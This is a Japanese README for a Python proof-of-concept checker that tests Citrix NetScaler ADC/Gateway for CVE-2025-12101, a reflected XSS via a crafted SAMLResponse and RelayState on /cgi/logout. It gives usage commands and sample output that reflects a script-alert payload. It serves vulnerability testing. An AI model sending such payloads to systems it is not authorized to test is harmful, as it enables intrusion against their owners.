
Citrix NetScaler ADC/Gateway において /cgi/logout 上の CVE-2025-12101 反射型XSSを確認するための、細工された SAMLResponse + RelayState ペイロードを使用するシンプルな Python PoC
Citrix NetScaler ADC / Gateway インスタンスが CVE-2025-12101(/cgi/logout における反射型XSS)に対して脆弱かどうかをチェックする、シンプルな Python PoC です。細工された SAMLResponse + RelayState ペイロードを使用します。
⚠️ このツールは、自分が所有するシステム、または明示的にテストを許可されたシステムでのみ使用してください。
CVE-2025-12101 は、NetScaler ADC および NetScaler Gateway が Gateway または AAA 仮想サーバーとして構成されている場合に影響を与える反射型クロスサイトスクリプティングの脆弱性です。
脆弱な構成では、/cgi/logout エンドポイントが SAML ログアウト応答を処理し、RelayState パラメータからの攻撃者制御データを 適切なエンコードなしで 反映させ、XSS に至る可能性があります。
研究および技術的詳細は watchTowr Labs によるものです:
このリポジトリは、同じスタイルのペイロードを送信して HTTP 応答を検査する、最小限の raw-TLS Python チェッカー を提供します。
リポジトリをクローンします:
git clone https://github.com/6h4ack/CVE-2025-12101-checker.git
cd CVE-2025-12101-checker
Python 3 がインストールされていることを確認してください。
メインスクリプトは必須パラメータ -u / --url を受け付けます。
python3 cve-2025-12101.py -u https://www.example.com
以下のようにも指定できます:
python3 cve-2025-12101.py -u www.example.com
python3 cve-2025-12101.py -u http://www.example.com
URL は内部で正規化され、スクリプトはホスト名とポートを抽出します(HTTPS のデフォルトは 443、HTTP のデフォルトは 80)。
例(脆弱なターゲットの場合):
[*] Testing target: www.example.com:443
===== RAW HTTP RESPONSE BEGIN =====
HTTP/1.1 302 Object Moved
Content-Type: text/html
...
<script>alert(1)</script>
...
===== RAW HTTP RESPONSE END =====
[+] HTTP status code: 302
[+] Payload '<script>alert(1)</script>' reflected: True
[VULNERABLE] XSS confirmed on www.example.com with payload '<script>alert(1)</script)'
脆弱でないターゲットの場合は、次のような出力が表示されます:
[INFO] No XSS behaviour detected on www.example.com with this payload.
ANSI カラーが使用されており、結果がターミナルで見やすくなっています(脆弱性ありは緑、脆弱性なし/エラーは赤)。